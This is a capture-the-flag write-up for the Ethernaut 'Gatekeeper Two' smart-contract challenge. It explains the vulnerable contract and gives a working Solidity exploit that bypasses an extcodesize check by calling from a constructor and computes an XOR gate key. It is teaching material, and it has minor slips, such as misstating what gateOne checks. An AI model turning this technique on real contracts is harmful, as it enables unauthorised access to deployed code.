Writeup for Gatekeeper Two
Hello h4ck3r, welcome to the world of smart contract hacking. Solving the challenges from Ethernaut will help you understand Solidity better. Each challenge involves deploying a contract and exploiting its vulnerabilities. If you’re new to Solidity and haven’t deployed a smart contract before, you can learn how to do so using Remix here.
Challenge Description
This gatekeeper introduces new challenges. Your task is to register as an entrant to pass this level.
Contract Explanation
If you understand the contract, you can move on to the exploit part. If you’re a beginner, please read the Contract Explanation to gain a better understanding of Solidity.
Click to view source contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4contract GatekeeperTwo {
5 address public entrant;
6
7 modifier gateOne() {
8 require(msg.sender != tx.origin);
9 _;
10 }
11
12 modifier gateTwo() {
13 uint256 x;
14 assembly {
15 x := extcodesize(caller())
16 }
17 require(x == 0);
18 _;
19 }
20
21 modifier gateThree(bytes8 _gateKey) {
22 require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
23 _;
24 }
25
26 function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
27 entrant = tx.origin;
28 return true;
29 }
30}
entrant
, which is of type address
.
1modifier gateOne() {
2 require(msg.sender != tx.origin);
3 _;
4}
The above modifier, gateOne()
, checks whether tx.origin
is equal to msg.sender
.
1modifier gateTwo() {
2 uint256 x;
3 assembly {
4 x := extcodesize(caller())
5 }
6 require(x == 0);
7 _;
8}
The gateTwo()
modifier checks whether the caller is a contract or not. It uses the extcodesize()
opcode to determine the size of the contract. If the caller is an externally owned account (EOA), extcodesize()
will return 0. If the caller is a contract address, extcodesize()
will return the size of the deployed contract’s bytecode.
1modifier gateThree(bytes8 _gateKey) {
2 require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
3 _;
4}
The gateThree()
modifier takes a bytes8
argument and performs some XOR operations and checks.
1function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
2 entrant = tx.origin;
3 return true;
4}
The enter()
function takes a bytes8
argument and executes all three modifiers. Once all the modifiers are passed, it sets entrant
to tx.origin
(our wallet address) and returns true
.
Key Concepts to Understand
extcodesize()
is an opcode in Solidity that returns the size of a contract. If the caller is an externally owned account (EOA), extcodesize()
will return 0. If the caller is a contract address, extcodesize()
will return the size of the deployed contract’s bytecode.
However, if we make a call to another contract in the constructor, extcodesize()
will return zero. This behavior occurs because the contract is only deployed after the constructor call is completed.
Click to check the example below
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4contract Extcodesize{
5 uint256 public size;
6
7 modifier Check_contract(){
8 uint256 x;
9 assembly {
10 x := extcodesize(caller())
11 }
12 size=x;
13 _;
14 }
15
16
17 function view_size()public Check_contract returns(uint256) {
18 return size;
19 }
20}
21
22
23contract Call_ExtCodesize{
24 uint256 public size;
25 Extcodesize extcode;
26 constructor(address _addr){
27 extcode=Extcodesize(_addr);
28 size=extcode.view_size();
29 }
30
31 function call_view_size()public{
32 size=extcode.view_size();
33 }
34
35 function view_size()public view returns(uint256) {
36 return size;
37 }
38}
Deploy the Extcodesize
contract first, then deploy the Call_ExtCodesize
contract. When we deploy the Call_ExtCodesize
contract in the constructor, it calls the view_size()
function in the Extcodesize
contract. The function executes the Check_contract()
modifier and assigns the return value of extcodesize()
to size
. Since the call is made from the constructor, it will return zero.
Then call the call_view_size()
function in the Call_ExtCodesize
contract. The function makes a call to the view_size()
function in the Extcodesize
contract. The view_size()
function executes the Check_contract()
modifier and assigns the return value of extcodesize()
to the size
variable in the Extcodesize
contract. Once the modifier execution is complete, view_size()
will return the size of the Call_ExtCodesize
contract.
Exploit
Our goal is to call the enter()
function and pass all the gates (modifiers).
1modifier gateOne() {
2 require(msg.sender != tx.origin);
3 _;
4}
We can pass gateOne()
by interacting with the contract using our exploit contract. When we interact with GatekeeperOne using our exploit contract, msg.sender
will be our exploit contract address, and tx.origin
will be the address of the externally owned account (EOA) that is calling the exploit contract.
1modifier gateTwo() {
2 uint256 x;
3 assembly {
4 x := extcodesize(caller())
5 }
6 require(x == 0);
7 _;
8}
We can pass gateTwo()
by calling enter()
from the constructor of our exploit contract. When we call enter()
from the constructor of our exploit contract, extcodesize()
will return zero. caller()
is an opcode in Solidity that returns the msg.sender
.
1modifier gateThree(bytes8 _gateKey) {
2 require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
3 _;
4}
We can pass gateThree()
by passing the correct gateKey
as an argument during the function call. If we examine the required statement, it performs an XOR operation. When we perform A^B
, there will be output. Let the output be C
. So now the equation is A^B=C
.
XOR has a special property: if A^B=C
, then A
can be written as C^B
, and B
can be written as C^A
.
In gateThree()
, the require statement is uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max
. Then _gateKey
can be written as type(uint64).max^uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
.
The XOR value depends on msg.sender
, which is our contract address. Since we know our contract address, we can calculate the _gateKey
and pass it to the enter()
function.
Click to view Exploit contract
1
2// SPDX-License-Identifier: MIT
3pragma solidity ^0.8.0;
4
5import {GatekeeperTwo} from "./GatekeeperTwo.sol";
6
7contract ExploitGatekeeperTwo{
8 GatekeeperTwo gatekeeperTwo;
9 constructor(address _addr){
10 gatekeeperTwo=GatekeeperTwo(_addr);
11 bytes8 data=bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
12 gatekeeperTwo.enter(data);
13 require(gatekeeperTwo.entrant()==msg.sender,"Exploit Failed");
14 }
15}
Once you deploy this contract, the challenge will be solved.
Key Takeaways
Be careful when using extcodesize()
because it will return zero if the function call is made from the constructor()
.
If our logic depends on caller()/msg.sender
, we can use require(tx.origin==msg.sender)
. This ensures that only externally owned accounts are calling the functions.
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments